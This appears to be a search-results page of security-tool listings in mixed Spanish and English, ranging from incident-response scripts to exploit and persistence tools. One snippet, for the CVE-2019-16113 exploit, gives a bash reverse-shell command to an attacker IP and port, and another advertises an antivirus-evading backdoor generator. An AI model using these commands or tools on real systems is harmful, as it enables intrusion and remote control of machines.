121505 matches found
Trawler
Dragado de Windows para Persistencia ¿Qué es? Trawler es un script de PowerShell diseñado para ayudar a los respondedores de incidentes a descubrir posibles indicadores de compromiso en hosts Windows, centrado principalmente en mecanismos de persistencia que incluyen tareas programadas, servicios...
WFH
Windows Feature Hunter WFH Windows Feature Hunter WFH es un script de Python de prueba de concepto que utiliza Frida, un conjunto de herramientas de instrumentación dinámica, para ayudar a identificar potencialmente "vulnerabilidades" o "características" comunes en ejecutables de Windows. WFH...
linuxprivcheck
linuxprivcheck Script de Python para escalada de privilegios en Linux El autor original es Mike Czumak Tv3rn1x -- @SecuritySift. Guiones old-linuxprivchecker.py: Famous linuxprivchecker.py Python con actualizaciones - Ya no lo actualizaré. linuxprivchecker3.py: Famous linuxprivchecker.py,...
nmap-spring4shell
Nmap-spring4shell Log4shell-nmap is an NSE script for detecting Spring4Shell RCE vulnerabilities CVE-2022-22965 in HTTP services. The script injects the correct payload into the application and then executes the following command on the specified endpoint. Vulnerability See here. Usage...
linkedin-profile-scraper
Debido a problemas con el endpoint, la herramienta Linkedin Profile Scraper no está disponible actualmente. Por favor, revisa el siguiente enlace para un método alternativo. Un enorme agradecimiento al equipo de gosecure...
Cohab_Processes
CohabProcesses Este script de Aggressor está diseñado para ayudar a los Red Teams internos a identificar procesos sospechosos o extraños "Cohabitación" que se ejecutan en sus entornos. Los Red Teams pueden compilar una lista de procesos "conocidos" ya sea de forma independiente o en colaboración...
cve-2019-16097
cve-2019-16097 1. Add the URLs you want to detect in urls.txt 2. Run the cve-2019-16097 script in python3 environment python3 cve-2019-16097.py 3. After batch detection is complete, view the URLs with successfully written accounts in results...
twitterBFTD
twitterBFTD Twitter vuelve de la muerte: busca en el historial de tweets de un usuario nombres de dominio que estén disponibles para su registro. Ver artículo del blog: Cómo secuestré tweets de celebridades como Katy Perry, Shakira… pip install pythonwhois tweepy Uso: Simplemente ejecútalo en la...
StayKit
StayKit - Kit de persistencia para Cobalt Strike StayKit es una extensión para la persistencia en Cobalt Strike que aprovecha la función executeassembly con el ensamblado SharpStay .NET. El script agresor maneja la creación de payloads leyendo los archivos de plantilla para un tipo de ejecución...
CVE-2019-16113
CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE authenticate Usage python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Example...
Get-ReconInfo
Get-ReconInfo NOMBRE Get-ReconInfo SINOPSIS Enumera conexiones e información relevante de un sistema Autor: Chris King @raikiasec SINTAXIS Get-ReconInfo DESCRIPCIÓN Este script ejecuta los siguientes comandos en el sistema local, analiza la salida e imprime los resultados en pantalla: netstat -an...
scriptkiddi3
Streamline your recon and vulnerability detection process with SCRIPTKIDDI3, A recon and initial vulnerability detection tool built using shell script and open source tools. How it works • Installation • Install with Docker • Usage • MODES • Important Notes | Webhook configurations • For Develope...
scriptkiddi3
Optimice su proceso de reconocimiento y detección de vulnerabilidades con SCRIPTKIDDI3, una herramienta de reconocimiento y detección inicial de vulnerabilidades construida con script de shell y herramientas de código abierto. Cómo funciona • Instalación • Instalar con Docker • Uso • MODOS • Nota...
XanXSS
XanXSS XanXSS is a reflected XSS searching tool DOM coming soon that creates payloads based from templates. Unlike other XSS scanners that just run through a list of payloads. XanXSS tries to make the payload unidentifiable, for example: /cLIcKMe!XaNxss With XanXSS every payload is different...
CVE-2018-7600
CVE-2018-7600 CVE-2018-7600 Exploit Change TARGET in exploit.py $ python3 exploit.py Success: Check http://127.0.0.1:8080/hello.txt...
Bulk_403_Bypass
Bypass Masivo de 403 Este es un script de Bash que realiza un bypass masivo de 403 añadiendo una cabecera personalizada a las peticiones HTTP. Puede ser útil para probar si un sitio web es vulnerable a técnicas de bypass de 403. Uso Para usar el script, pasa una lista de URLs como argumento de...
ASWCrypter
Bienvenido al script ASWCrypter v1.0 100% FUD Un script en Bash&Python para generar payloads que evitan todos los antivirus hasta ahora FUD ; . POR FAVOR NO SUBAS EL BACKDOOR A WWW.VIRUSTOTAL.COM 23/08/2018 Importante Esta versión solo es para pruebas, en el futuro actualizaré ASWCrypter para...
CVE-2015-1635-POC
CVE-2015-1635-POC MS15-034 HTTP.sys 远程执行代码检测脚本（MS15-034 HTTP.sys remote execution code poc script） 代码第7行处放置检测的IP，然后运行： python CVE-2015-1635-POC.py Place the detected IP on the seventh line of code and run: python CVE-2015-1635-POC.py...
Findsploit
Findsploit por @xer0dayz https://sn1persecurity.com ACERCA DE Finsploit es un sencillo script bash para buscar rápida y fácilmente bases de datos de exploits tanto locales como en línea. Este repositorio también incluye "copysploit" para copiar cualquier exploit de exploit-db al directorio actual...